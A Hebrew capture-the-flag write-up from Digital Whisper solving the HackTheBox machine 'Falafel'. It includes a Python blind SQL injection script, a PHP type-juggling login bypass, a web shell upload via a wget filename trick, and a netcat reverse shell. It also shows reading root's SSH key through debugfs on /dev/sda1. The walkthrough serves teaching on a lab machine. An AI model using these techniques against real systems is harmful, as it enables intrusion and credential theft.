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 HTB-מ Falafelפתרון מכונת 

 רוי קורןמאת 

 

 הקדמה

. אך לפני שנצלול אל תוך ים HackTheBoxמאתר האתגרים  Falafelבמאמר זה נפתור את המכונה 

-: עולם אתגרי הHackTheBoxובכלליות על הקונספט של  ,המכונות ,הביטים, הינה הסבר קצר על האתר

CTF  הוא עולם ענף מאוד ובו מספר רב של סוגי אתגריCTF אתגרי .HackTheBox  הינם אתגריCTF  שבהם

" למכונה, ובאופן פרקטי, אתגר לא ייגמר Full Compromiseמטרת המתמודד הינה )בדרך כלל( לבצע "

ביכולת להריץ קוד על המכונה מרחוק אלא יש צורך לנבור בה ולהצליח לנצל פרצות שיאפשרו להשיג 

עליה הרשאות גבוהות, אם זה באמצעות ניצול של שירותי מערכת, פרצות בקרנלים לא מעודכנים או 

 כשלים לוגים באפליקציות המותקנות עליה.

שהם לא ממש נגישים לכולם. כלומר מי שלא מספיק בנושא זה, הוא רים ששמתי לב במאמרים אחד הדב

גם מי אך  . לכן אשתדל להסביר הכל הכי פשוט שישבאופן מלא מבין בנושא המאמר לא יוכל להנות ממנו

 .סביר להניח שילמד גם הוא משהו חדש – בקי בנושאשכבר 

 ן בתיאבוו... קריאה נעימה, 

 

 

 

 

 

  

https://www.hackthebox.eu/
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 רקע על התהליך 

 שלבים: 4יהיה לנו  hackthebox-מכונה בת הבתקיפ

  חיבור  1שלב"VPN נקבל קובץ :"ovpnנתחבר דרכו ל ,-vpn .ונבדוק שהכל תקין 

  2שלב "Enumeration בשלב זה נאסוף מידע על המכונה וננסה להבין איך היא עובדת. נגלה כמה :"

לים להתחבר ובהם לחפש כשלי אבטחה שניתן לנצל. שירותים המאזינים במערכת, אליהם אנחנו יכו

לאחר מכן, מתוצאות הסריקה נזהה במי מהם צריך למקד את תשומת הלב שלנו. המטרה היא ללמוד 

 כיצד להשתמש במידע שדלינו על מנת למצוא נקודת כניסה לפריצה למכונה.

  3שלב "Userדת הכניסה. נבין כיצד לנצל ": לאחר קבלת מידע קריטי יותר על המכונה, יש לנו את נקו

את הפגיעות שזיהינו כדי להשיג דריסת רגל במכונה, בשלב זה נסתפק בכל הרשאה שנקבל. אחרי 

 שלב זה נהיה מחוברים למכונה עם משתמש רגיל שלא יכול לעשות יותר מדי לכן נעבור לשלב הבא.

  4שלב "Escalation Privilege כעת, כשיש לנו אחיזה כמשתמש בעל הרשאות נמוכות, המטרה :"

 Rootהבאה והאחרונה שלנו היא להסלים ולהפוך למשתמש בעל הזכויות הגבוהות ביותר, הלא הוא 

או מנהל מערכת. נחפש נקודות תורפה בתוך המכונה. ברגע שנגלה את החולשה הבאה, הגיע הזמן 

 לפריצה רצינית יותר! 

 

 פרטים על המכונה

המכונה שנפתור היום היא מכונה מיוחדת מהסיבה שישראלים בנו אותה. כן מכונה כחול לבן תוצרת 

 :Stylish-( ומאמר למגזין)שאף כתב בעבר  dm0nישראל :(  היוצרים: 

 

 hard רמה:

 לינוקס :מערכת הפעלה

 :עיקרייםנושאים 

 SQL Injection 

 PHP Juggling 

 Remote File Inclusion 

 Information Disclosure 

 Linux Permissions 

https://www.digitalwhisper.co.il/files/Zines/0x01/DW1-1-PrivilegeEscalation.pdf
https://app.hackthebox.com/users/2508
https://www.digitalwhisper.co.il/files/Zines/0x61/DW97-2-BSides2018.pdf
https://app.hackthebox.com/users/10841
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Connection 

 :נריץ את הפקודה. ovpnנוריד את הקובץ 

openvpn vpn_file.ovpn 

 10.129.1.83: של המכונה שהוא -ipנקבל את ה, ועל מנת להתחבר לרשת הפנימית

 

 פשוטה: pingלאחר מכן נבדוק שאנחנו אכן מחוברים ויכולים לתקשר עם המכונה. לכן נעשה בדיקת 

ping -  כלי שנועד לבדוק האם התקשורת המקומית קיימת, והאם האתר המרוחק שאליו מנסים להגיע

 מטרה העיקרית לה היא משמשת היא בחינת תקינות התקשורת בין נקודת המקור לנקודתפעיל ונגיש. 

 היעד.

 

 יופי! כעת, הכל תקין אפשר להתחיל. אלינו תגובה מהמכונה. תחוזרשבבדיקה ראינו 

 

Enumeration 

Nmap 

בשלב זה אנו מעוניינים לבדוק אילו שירותים מותקנים על המכונה ומאזינים לתקשורת חיצונית. לטובת כך 

סרביסים רצים שם ועוד מידע מעניין על המכונה כדי למצוא פורטים פתוחים, איזה  nmapניזום סריקת 

 שיכול לעזור לנו.
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Nmap -  כלי לאיסוף מידע, המשמש לגילוי פורטים ושירותים, ברשת מחשבים. למעשה, מדובר ההוא

)מאמרים  באחד הכלים החשובים והמרכזיים ביותר, אם לא החשוב מכולם, בעת ביצוע מבדק חדירה

ניתן לבצע  Nmap. בעזרת (Nmap Scripting Engine-, וזמן סיפור - Nmapלהרחבה על הכלי מהמגזין: 

ופורטים שירותים סריקה מקיפה של הרשת אותה אנו רוצים לתקוף ובכך לקבל עליה מידע מקדים, כגון 

גם מסד נתונים עם עשרות סקריפטים  Nmap-פתוחים, זיהוי גרסאות וטכנולוגיות ועוד ועוד. לצד זאת, ל

 שיכולים לסייע לנו גם בביצוע התקיפה בפועל כלפי היעד.

 :דהנריץ את הפקו

nmap -p- -A 10.129.1.83 
 

 A - ( אומר סריקה אגרסיביתaggressive שתנסה להוציא כמה שיותר מידע על אותו שירות. דגל זה )

 ועוד...( serviceהוא אוסף של כמה דגלים אחרים )זיהוי מערכת הפעלה, זיהוי גרסה של 

 p - אומר על איזה פורטים לבצע את הסריקה. אנחנו נרצה על כל הפורטים לכן נוסיף אחרי מקף 

 

 

 פורטים פתוחים: 2הסריקה ונראה תוצאות נסתכל על 

  22פורט - ssh  פרוטוקול מאובטח לתקשורת מחשבים המאפשר ביצוע פעולות על מחשב מרוחק(

 לאחר תהליך הזדהות(

  88פורט - http יש לנו פה אתר( - )בקיצור 

 )תזכרו אותו להמשך( robots.txtבנוסף גילינו שקיים קובץ 

 

ssh 

או מפתח, ואת שניהם כרגע אי  כי כדי להתחבר צריך שם וסיסמא כרגעאין לנו מה לעשות  22עם פורט 

 . כנראה שנשיג אותם בהמשך ונתחבר.לנו

 

https://nmap.org/
https://nmap.org/
https://www.digitalwhisper.co.il/files/Zines/0x35/DW53-1-NMap.pdf
https://www.digitalwhisper.co.il/files/Zines/0x55/DW85-1-Nmap.pdf
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WEB  

 כך נראה האתר כאשר גולשים אליו:

 

. ipע"י כתובת  falafel.htb-כדי שנוכל לגשת אליו כ, hosts-ל falafel.htbלצורך הנוחות נוסיף את הדומיין 

 :את הפקודה נריץ

sudo nano /etc/hosts 

 

 IPהוא קובץ מערכת ההפעלה המאפשר לקשר בין כתובת  ץ זהקוב :hosts-למי שלא מכיר את קובץ ה

-שנמצא במחשב המקומי נעשית לפני פניה ל Hosts)מספר( לטקסט )דומיין במקרה שלנו(. פניה לקובץ 

DNS .שנמצא במערכת חיצונית  

 … נמשיךבואו 
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 :גם עמוד התחברותבאתר  קייםבנוסף לעמוד הראשי 

 

 שגילינו בסריקה?  robots.txtזוכרים את הקובץ 

robots.txt -  דפים אלו הקובץ הזה הוא קובץ שנקרא על ידי מנועי החיפוש. קובץ זה אומר למנועי החיפוש

 אסור להם לסרוק באתר. קובץ זה נקרא כך מכיוון שהוא לא מיועד לבני האדם אלה לאותם סורקים אשר

 :נקראים רובוטים

 :בואו נציץ בקובץ שלנו

 

 (.txtבקובץ שלנו יש איסור לסרוק קבצי טקסט )
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Fuzzing 

 כדי למצוא עמודים שלא מוצגים לנו. DirBusterנשתמש בכלי שנקרא  כעת

DirBuster -  תוכנה שנועדה לעשותbrute force  על שמות קבצים באתרים. לעתים קרובות לאתר יהיה

 מנסה למצוא אותם. DirBusterדפים ויישומים מוסתרים. 

 בסריקה שלנו נחפש את הקבצים הבאים:

 php -  אולי יש עוד כאלה כמוlogin.php 

 txt - יש איסור לקרוא קבצים כאלה אז זה אומר שהם קיימים, ננסה למצוא אותם 

 

 נקבל את התוצאה הבאה:
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 :txt.cyberlawהקובץ שתפס לי את העין הוא  לאחר בדיקה של הקבצים

 

 מההודעה נסיק את מידע הבא:

  משתמשchris  הצליח להתחבר למשתמשadmin  לי הדבר נשמע כמו  -בלי לדעת את הסיסמא שלו

injection sql .בדף ההתחברות 

  כריס כנראה  -למנהל כנראה יש אפשרות להעלות תמונות שבעזרתה כריס השיג גישה מלאה לאתר

 העלה קובץ זדוני אשר הריץ קוד ונתן לו חיבור לשרת.

  קוף את ההכנות האלה.יהיה לא פשוט לע -יש הגנה לדף לוגין ולדף העלאת התמונות 

InjectionSQL  

sql injection -  היא מתקפה אשר בנויה מהזרקת שאילתתsql  באמצעות קלט לאתר. התקפתsql 

ואפילו לשנות בו מידע. הפורץ מנצל את התבנית של  Database-ממוצלחת יכולה לשאוב מידע יקר 

השאילתה כדי להזריק פנימה פקודות במקום משתנים כך שישנו אותה לעשות את מה שיבקש לעשות 

 בניגוד לתכנות המקורי שלה.

למי שלא מכיר בכלל: המתקפה הזאת אפשר לכתוב עליה מאמר שלם לבד לכן פשוט אצרף אתר ן

 ת התקפה:שמסביר בעברית פשוטה א

https://tech.b48.club/2018/02/20/what-is-sql-injection.html 

 …ולעניין

 :חוזרת לנו התשובה הבאה admin:admin פרטי ההזדהות כאשר אנחנו מנסים להתחבר עם

 

 :chrisאותו דבר עם משתמש 
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 :( נקבלpopikאם ננסה משתמש שלא קיים )למשל: 

 

. again Tryואם לא קיים משתמש כזה נקבל  identification Wrongכלומר אם המשתמש קיים נקבל 

 :על ידי הקלט njection sqlננסה לבדוק אם יש 

admin' or 1=1# 

 :ונקבל

 

בואו נראה מה ! injection sqlיש משתמש אשר נקרה ככה? אז התשובה היא לא, יש לנו פה … מעניין

  :השאילתה הבאהאתר בונה את ה באמת קרה מאחורי הקלעים:

$sql = "SELECT * FROM users WHERE username='$username'"; 

ומקבל רק את המשתמש עם השם משתמש הזה  "users"הוא לוקח את כל המשתמשים מהטבלה 

 :את username-ב שהכנסנו בלוגין. כאשר נשים

admin' or 1=1# 

 :הבאה תתבצע השאילתה

SELECT * FROM users WHERE username=’admin’ or 1=1 #’ 

או  adminתחזיר משתמשים מטבלת המשתמשים בתנאי שהשם משתמש שלהם הוא "בתרגום לעברית: 

 true.יחזיר " or 1=1כל ביטוי בולאני שבסופו נוסיף ". " מכניס את המשך השאילתא להערה(#)התו " 1=1

 .injection sqlלכן יש פה  trueואכן קיבלו שיש שם משתמש כזה כלומר חזר 

מקודם חזרו כל !. limitת הפקודה: להוציא את כל המשתמשים בעזר יהיה לנסות השלב הבא שלנו

 .כי הוא הראשון( adminהמשתמשים )ראינו רק את 

limit כמה שורות  מורהמאיזה שורה להחזיר מהטבלה והמספר השני  מורההמספר הראשון  :עובד ככה

 . נזין:ונעבור ככה על כל השורות אנחנו נחזיר שורה אחת. להחזיריש 

admin' or 1=1 limit 0,1 #  

 ונקבל:

 

 נזין:

admin' or 1=1 limit 1,1 # 

 ונקבל:

 

 נזין:

admin' or 1=1 limit 2,1 # 
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 ונקבל:

 

כאשר ניגשנו לשורה השלישית לא קיבלנו משתמש מה שאומר שיש לנו רק שתי משתמשים שימו לב ש

admin וchris- . הזנת הקלט: לגלות כמה עמודות יש בטבלה על ידיננסה 

admin' UNION SELECT1,2,3,4  

 ונקבל:

 

 !נצטרך לעקוף אותה injection sqlיש פה הגנה כנגד 

( מופיעות בקלט האתר sqlכאשר מילים מסוימות )פקודות של  :כך תההגנה עובדממשחק קצר, נראה כי 

יכולים להדפיס את הסיסמא של המשתמש כמו שהדפסנו  יחסום את הניסיון התחברות שלנו. אנחנו לא

 . את השם משתמש אבל זה לא אומר שלא נוכל לגלות אותה

ואם נשים קלט אשר מחזיר פלט שלילי  .identification wrongאם נשים קלט אשר מחזיר פלט חיובי נקבל 

ואם  xנה של הסיסמא היא לכן מה שנעשה זה משחק הניחושים. נשאל האם התוו הראשו .again Tryנקבל 

 .substringכן נעבור לאות הבאה עד שנגלה את כל התווים. נעשה זאת בעזרת הפונקציה 

 באופן הבא:הפונקציה עובדת 

substring(column, Index, count) 

 :אם נקבל שלילי אז לא 8נשים את הקלט הבא אם נקבל חיובי האות הראשונה היא 

admin' AND substring(password,1,1)='0' #  

נעבור על כל . התהליך הבא יקח המון זמן ידנית אז נכתוב קוד זריז בפייתון אשר עושה זאת אוטומטית

התווים בסיסמא ושם נעבור על כל התווים שקימים עד שנקבל תשובה חיובית. ברגע שנפסיק לקבל נדע 

 :שזה סוף הסיסמא ויש לנו אותה במלואה

import requests 
chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 
'p', 'q', 'r', 's', 't', 'u', 'v', 'w' ,'x' ,'y' ,'z' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' 
,'7' ,'8' ,'9' ,'0'] 
password = "" 
while True: 
    for char in chars: 
        data = {"username":"admin\' AND substring(password,"+str(num)+",1)=\'"+char+"\' -- -","password":""} 
        r = requests.post("http://falafel.htb/login.php", data=data) 
        if "Wrong identification" in r.text: 
            password =  password + char 
            print( password) 
            break 
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 ים-Hash שוברים

 :קיבלנו את הפלט הבא

8e462096931906507119562988736854  

 :הפלט כעת אתונקבל  .chris עבור המשתמשנעשה את אותו הדבר . adminמשתמש עבור ה

d4ee02a22fc872e36d9e3751ba72ddc8 

, כלומר כהצפנה של משהו באופן חד כיווני hash)תחשוב על  hashנראה שהסיסמא של המשתמשים היא 

ננסה לפצח אותו בעזרת . פענח(ה ניתן באופן מתמטי לבצע רק את פעולה ההצפנה אך לא את פעולת

ripper the john  על ידיforce brute  עם הרשימהrockyou. 

john the ripper - (להרחבה ולדוגמאות נוספות) כלי אשר משמש ברובו לפיצוח סיסמאות מוצפנות 

 :נריץ את הפקודה

john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 

אך . adminשל  hash-בצע זאת עבודה הננסה עכשיו ל .jugglingהיא  chrisונקבל שהסיסמא למשתמש 

 .שלו נראה מוזר( hash-לא קיבלנו תוצאה )פה שמתי לב שה

 :והצלחנו! קיבלנו את העמוד הבא -" Juggling" ועם הסיסמה "chris" המשתמש נתחבר עם… טוב

 

יש . ככל הנראה הרבה העל עצמ תחוזר "ג'אגלינג" את המילה בעמוד מספרים לנו על כריס ואנחנו רואים

 ...juggling phpפה רמז למתקפה הבאה 

 

  

https://bitcoin4u.co.il/what-is-hash/
https://linuxhint.com/john-ripper-kali-linux/
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Juggling PHP 

PHP :מספקת שתי דרכים להשוות בין שני משתנים 

 : הבודקת האם לשני המשתנים יש את אותו ערך. !=או  ==באמצעות  "רופפת"השוואה  .1

: הבודקת האם שני המשתנים הם מאותו הסוג ולשניהם יש  !==או  ===באמצעות  "קפדנית"השוואה  .2

 את אותו ערך.

( במקום השוואה !=או  ==קורות כאשר משתמשים בהשוואה רופפת ) PHPפגיעויות ג'אגלינג מסוג 

( באזור שבו התוקף יכול לשלוט באחד המשתנים המושווים. פגיעות זו עלולה לגרום !==או  ===קפדנית )

לכך שהאפליקציה תחזיר תשובה לא מכוונת להצהרה האמיתית או השגויה, ועלולה להוביל לבאגי 

תמיר את  php" ומשווים ערכים לא מאותו סוג, =="-כאשר משתמשים ב הרשאה ו/או אימות חמורים.

 שיבחר ואז ישווה. הדבר הזה עלול להוביל לגרום לערכים לא שווים להיות שווים. אותם לאותו סוג

 .לפהלהעמקה בנושא כנסו 

אז  .הזה ופשוט קיבלתי את תשובה באתר admin-של ה hash-חיפשתי באינטרנט איזה ערכים שווים ל

 :נתחבר עם הסיסמא שקיבלנו

admin:240610708 

 !admin-התחברנו כ !וזה עבד

 

 

 

 

https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md
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Remote File Inclusion 

 :תמונה רנדומלית ונתקל בפלט הבאנעלה . יש לנו פה עמוד להעלת תמונה על ידי קישור

 

כלומר הוא לוקח את הקלט שלנו  .wgetלפי הפלט זה נראה שהאתר מוריד את התמונה עם הפקודה 

 .wget urlועושה ככה 

כך שירוץ גם  url-ניסיתי להכניס עוד פקודה אחרי ה .command injectionבהתחלה חשבתי שיש פה 

wget לדוגמא:. וגם הפקודה שלנו 

wget http://ip/image.png && whoami 

 .שנוכל להריץ ממנו פקודות phpהדבר הבא שחשבתי עליו היה להעלות קובץ רבה.  אך ללא הצלחה

 ...ללא הצלחה -, אך גם כאן לאחר הרבה נסיונות לעקוף את את ההגנה

על שיטות להעלאת קבצים אסורים ונתקלתי בלינק הזה אשר מראה דרך לעשות זאת  googleעשיתי 

 :wget-כאשר באתר משתמש ב

https://book.hacktricks.xyz/pentesting-web/file-upload#wget-file-upload-ssrf-trick 

 השיטה עובדת כך:

המקסימום לשמירת  wget-תווים אך כאשר משתמשים ב 255לינוקס מרשה לשמור קובץ עם שם של עד 

 הראשונים ישמרו. 236-תווים רק ה 248תווים. כלומר אם נשתמש בקובץ עם  236קובץ היא 

  

https://book.hacktricks.xyz/pentesting-web/file-upload#wget-file-upload-ssrf-trick
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"( Webshell)מה שמכונה "יתנן לנו להריץ פקודות אשר  phpניקח קובץ  לכן נוכל לעשות את הטריק הבא:

 gifלכן מה שיקרה האתר לא יחסום את הקובץ הנל כי הוא קובץ . "A"*232+".php"+".gif"-ונשמור אותו כ

 ." יחרגו מהאורך המותר ולכן "יחתכו"(.gifבגלל מגבלת התווים )התווים " php-אבל הקובץ ישמר כ

 :הבא phpנוריד את הקובץ  קדימה לעסק...

https://github.com/flozz/p0wny-shell 

 :יפה כזה כך אין צורך בהתעסקות מיותרת shellקובץ זה נותן לנו סוג של 

 

 :ולאחר מכן נשנה את השם שלו לשם שרצינו

cp shell.php $(python3 -c 'print("A"*232 + ".php.gif")') 

ולבסוף כדי שנוכל להעלות את האתר אנחנו צריכים לשים קישור לכן נרים שרת זריז בפייתון על ידי 

 :הפקודה

python3 -m http.server 8080 

 ר:נעלה את התמונה עם הקישו

http://myIP:8080/aaa..aaa.php.gif 

 
 

https://github.com/flozz/p0wny-shell
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 .! הקובץ עלה בהצלחהונראה ש

 הקובץ עלה לנתיב הבא:

/uploads/0813-1604_38216623114dae04/ 

 :לקובץ ב נגלוש

http://falafel.htb/uploads/0813-1604_38216623114dae04/aa…aaa.php 

 :שלנו shell-והופ! קיבלו את ה

 

כדי לבנות פקודה  הזהנשתמש באתר ! אמיתי shellהדבר הבא שנעשה זה להתחבר למכונה ולקבל 

 :הראשונה לא עבדה לי אז ניסיתי אחרת( )הפקודה reverse shellשתיצור לנו 

 

http://falafel.htb/uploads/0813-1604_38216623114dae04/aa%E2%80%A6aaa.php
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
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 :ונחכה לחיבור netcatעם  4444נאזין בפורט 

 

 . לשם הנוחות נריץ את הפקודה:shell יש לנו זהו, 

python3 -c 'import pty;pty.spawn' 

 ונוח יותר: יפה shellכדי לקבל 

 

 

Privilege Escalation 

)המשתמש עם  rootנרצה להשיג את המשתמש  www-dataעכשיו אנחנו מחוברים עם המשתמש 

 ... . איך נעשה זאת? אין לי מושגבמערכת( ההרשאות הכי חזקות

מישהו  אם במקרה. נבדוק אחת מעל התיקיה שבה אנו נמצאים נלך תיקייה! enumerationנתחיל עם 

 :העלה קבצים מעניינים

 

 :נלך עוד תיקיה אחת אחורה. והקובץ הניסיוני שלנו phpנראה שלא. יש רק את הקובץ 

 

  …הרבה קבצים יש פה
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 :connection.php-לאחר מעבר זריר עליהם נתקלתי ב

 

 :sql-יש פה פרטי התחברות ל

moshe:falafelIsReallyTasty 

 :ונראה איזה מידע יש בו sqlנתחבר ל

 

 ! הינה כמה פקודות שימושיות:Mysql-אנחנו מחוברים כעת לשרת ה

 SHOW -  באמצעות הפקודהshow אנחנו יכולים לבקש מהשרת להציג לנו את רשימת ה-Database-

 מסויים וכו'. Database-ים המוגדרים עליו, את רשימת הטבלאות המוגדאות ב

 USE -  באמצעות הפקודהuse נוכל לבקש מהשרת לחבר אותנו ל-Database  ספציפי, על מנת שנוכל

 .SQLלתשאל אותו באמצעות שאילתות 

 QUERY - לאחר שהתחברנו ל-Database  באמצעותUse נוכל פשוט להריץ עליו שאילתות ,SQL  כגון

איתו התחברנו, בדרך כלל  המשתמשוכו' )ההרשאות מתבססות על ההרשאות של  SELECTשאילתות 

( ולמשתמשים החזקים יותר יש SELECT)ביצוע שאילתות  Readלכלל המשתמשים יש הרשאות 

 (DELETEאו  UPDATE, INSERT)ביצוע שאילתות כגון  Writeהרשאות 
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 :Database-אז בואו נתשאל את ה

 

 זה לא עוזר לנו ... הדבר היחיד שיש בו זה המשתמשים שיש באתר, אותם כבר גילינו
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עם הפרטי התחברות  ssh-אז ננסה להתחבר ל לפעמים אנשים עושים את אותה הסיסמא לכמה מקומות.

 :sql-מה

 

 !מעולה! התחברנו עם המשתמש של משה

. rootעל השרת נרצה לקבל את המשתמש עם ההרשאות הכי גבוהות  SSH גישתלאחר שקיבלנו  כעת,

 !linpeas.sh-כרגע אין לנו אפילו קצה חוט איך לעשות זאת לכן נשתמש ב

sh.linpeas -  הוא קובץ סקריפט אשר נותן לנו הרבה מידע על מערכת ההפעלה ומה קורה בה אשר עלול

 לעזור לנו למצוא דרכים לקבל הרשאות גבוהות יותר.

 להעביר אותו למכונה כדי שנוכל לסרוק אותה. למחשב שלנו נצטרך linpeasראשית לאחר שהורדנו את 

-פשוט ב http( נוכל להרים שרת vpnמכיוון שאנחנו נמצאים בתוך הרשת הפנימית ביחד עם המכונה )

python .לא לשכוח גם לתת הרשאות ריצה לקובץ: 

 

בקובץ הוא לאחר הרצה שלו נקבל הרבה מידע על המוכנה שיכול לעזור לנו. בנוסף אחד הדברים היפים 

 אחד מהדברים שהוא סימן לנו:  שהוא מסמן לנו באדום את הדברים שנראה לו שחשוב שנעבור עליהם.

 

 הקבוצות האלה? אלוהקובץ הציג לנו לאיזה קבוצות שייך משתמש משה. אבל 

  

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
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, ניתן הגדיר לכל משתמש בנפרד מה ההרשאות שלולבמקום בלינוקס )וגם במערכות הפעלה אחרות(, 

שתי הקבוצות שסומנו האדום ן. אות יורשאותו לשם אז הוא  מצרפיםר קבוצה עם הרשאות וכאשר ליצו

 :ןהאליהן ומשה שייך 

 adm -  מאפשרת למשתמש לצפות בקבציlog ב-/var/log אמנם זה לא ניתן לניצול ישיר, אך ניתן .

וכל עבודה פוטנציאלית להשתמש בו כדי להדליף מידע רגיש, כגון פעולות משתמש, יישומים פגיעים 

 נסתרת.

 video -  ניתן להשתמש בקבוצה זו כדי לתת לקבוצה של משתמשים גישה לכל מכשיר אשר קולט או

 פולט וידאו )מצלמת רשת, מסך(.

קבצים אנחנו יכולים לקרוא  אלו - נרצה לדעת זה מה בדיוק קיבלנו מהקבוצות האלה. כלומרמה ש כעת,

 :video-ל או adm-ל :ת קבצים אשר שייכים לקבוצה שלנואו להשתמש. נחפש בכל התיקיו

 :הפקודה זאת ע"ינעשה 

find / -group groupname 2>/dev/null  

 find - )פקודה של חיפוש קבצים )די ברור 

  /- )איפה לחפש )המקרה הזה בכל התיקיות 

 group groupname -  מורה ל-find לחפש קבצים עם השיוך הקבוצתי ל-groupname 

 2>/dev/null -  שליחת כל הפלט שלstderr ל-/dev/null.יחסוך לנו הצגת שגיאות, 

 log:קיבלנו הרבה קבצי  adm-ב
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 :הפלט הבאקיבלנו את  video-וב

 

 .videoעברתי על קבצי הלוג לא היה בהם משהו שיכול לעזור לנו לכן נמשיך הלאה לקבצים של 

הבנתי שהקובץ הזה שומר בתוכו את המידע המוצג על  זלאחר גוגל זרי, dev/fb0/הקובץ הראשון הוא 

. הבאנעזרתי מדריך  נוכל לראות מה מוצג על המסך במכונה. videoהמסך. ובגלל שאנחנו בקבוצה 

 :נשמור את מידע בקובץ חדש לתמונה על ידי

cat /dev/fb0 > screenshot 

 :בנוסף נבדוק את הרזולוציה של התמונה על ידי. ונעביר אותו למכונה שלנו

cat /sys/class/graphics/fb0/virtual_size  

 

מכיוון שלא נתון את סוג , אך )כלי להצגת ועריכת תמונות( gimpנפתח אותה עם . 1176,885נקבל 

 :נצטרך לעזור לו. לא פתח אותה אוטומטית gimpהתמונה 

 

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#video-group:~:text=denied%22%20error.-,Video%20Group,-Using%20the%20command
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 וקיבלנו צילום מסך! נמלא את הפרטים

 

מהתמונה נראה שיוסי ניסה להחליף את הסיסמא שלו והוא עשה טעות והכניס את הסיסמא החדשה 

 :אנחנו יודעים אותה ! כעתנכוןלא הבמקום 

yossi:MoshePlzStopHackingMe! 

 

 :שנית linpeasונריץ  ssh-עכשיו נתחבר עם יוסי ל

 

 :rootרשום שזה שרוב הסיכויים שזה הכיוון לקבל , הפעם קיבלנו משהו מסומן באדום ומודגש בצהוב

 

 .זהוקיבלתי את  diskלנצל את הקבוצה  כיצד חיפשתי באינטרנט על דרכים

  

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#disk-group
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 :diskנראה קודם איזה קבצים יש לקבוצה : תנו לי להסביר

 

כל  מחיצה זוב. הקבצים של לינוקס! זוהי המחיצה הראשית של מערכת dev/sda1/יש לנו גישה אל 

הנתונים מאוחסנים, נוכל לקבל גישה לכל קובץ בודד שקיים במערכת. נוכל למשל להשיג המפתח הפרטי 

כדי להשיג קובץ היא באמצעות הכלי  dev/sda1/-הדרך לגשת ל! rootוכך להתחבר  rootשל  sshשל 

debugfsאת הפקודה נריץ את המחיצת קובץ כל עוד יש לך גישת קריאה אליה. , המאפשר לדבאג: 

debugfs /dev/sda1 

 :בקש לקרוא את הקובץ המחזיק במפתחונ

cat /root/.ssh/id_rsa 

 

 וקיבלנו אותו!
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 ונשתמש בו על מנת להתחבר:נשמור אותו בקובץ על המחשב שלנו 

 

 !rootהשגנו 

 

 

 

  



 
 

 HTB-מ Falafel פתרון מכונת
www.DigitalWhisper.co.il 

 25  2022 אוקטובר ,144גליון 
 

 לסיכום

, סרקנו פורטים nmap התחלנו עם אז מה היה לנו?. )בהחלט היה טעים( Falafelאז זאת הייתה המכונה 

-בעזרת ה adminשל  המשתמשעל האתר וגילינו את  enumeration. המשכנו עם HTTP-ו SSHומצאנו 

robots.txt הבנו שיש .sql injection ושחיקנו את משחק הניחושים כדי לגלות את הסיסמא  בדף לוגין

 .hash-שהתבררה כ

 .php juggling-וגילינו עליו שהוא אוהב ג'אגלינג מה שהוביל אותם ל chrisשל  hash-פיצחנו את ה

 .wget-והעלנו קובץ זדוני במקום תמונה הודות ל admin-התחברנו כ

מה  sql-בצים שם מצאנו פרטי התחברות להצלחנו להריץ פקודות על המכונה והתחלנו לחטט בק

הודות לקבלת הרשאות  root. ממשתמש משה הגענו למשתמש יוסי ומיוסי לssh-שהתברר שהם גם ל

 חלשות.

יותר חיפוש )בשבילי( היה בהחלט לא פשוט ודרש הרבה מחשבה. החלק השני היה  shellקבלת  עד

בהחלט היה צריך להפעיל את הראש וגם  SQL Injection-באינטרנט ופחות מחשבה. מאד אהבתי את ה

 . github-מ םכליבדרש לכתוב קוד בעצמך ולא להשתמש 

זאת הייתה המכונה פלאפל. רוצה להודות ליוצרים של המכונה המטורפת הזאת בהחלטת למדתי הרבה 

 !ממנה, מקווה שגם אתם

 

 קצת עלי

בקשות, שאלות, דברים להוסיף או סתם בא חשוב לי להגיד שאם יש לכם  .18(, בן badyרוי קורן )שמי 

 bady0059בטלגרם: . לכם לשוחח פנו אלי

 :בנוסף באתר שלי יש גם דברים מעניינים

https://sites.google.com/view/roykoren 

 

https://sites.google.com/view/roykoren

